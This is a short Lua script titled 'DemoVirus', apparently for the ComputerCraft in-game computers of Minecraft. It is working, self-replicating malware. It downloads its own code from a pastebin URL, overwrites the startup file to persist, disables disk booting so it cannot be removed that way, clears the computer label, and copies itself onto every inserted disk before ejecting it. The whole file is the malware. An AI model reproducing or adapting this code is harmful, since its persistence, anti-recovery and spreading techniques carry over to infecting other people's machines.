print "Welcome to DemoVirus!" print "The simple, lightweight virus." local function delete(file) if fs.exists(file) then fs.delete(file) end end settings.set("shell.allow_startup", true) -- Force local startups to be allowed local function copy_to(file) delete(file) -- Delete it in case it's already a folder delete(file .. ".lua") -- Delete possibly conflicting .lua versions local h = http.get "https://pastebin.com/raw/2rZYfYhT" local f = fs.open(file, "w") f.write(h.readAll()) -- Write self to specified file f.close() h.close() end copy_to "startup" -- Overwrite startup settings.set("shell.allow_disk_startup", false) -- Prevent removing it via booting from disks settings.save ".settings" -- Save these settings os.setComputerLabel(nil) -- Remove label to prevent putting it in a disk drive while true do local _, side = coroutine.yield "disk" -- Watch for adjacent disks if side then local path = disk.getMountPath(side) -- Find where they'll be mounted copy_to(fs.combine(path, "startup")) -- Copy to them, too disk.eject(side) -- Eject them end end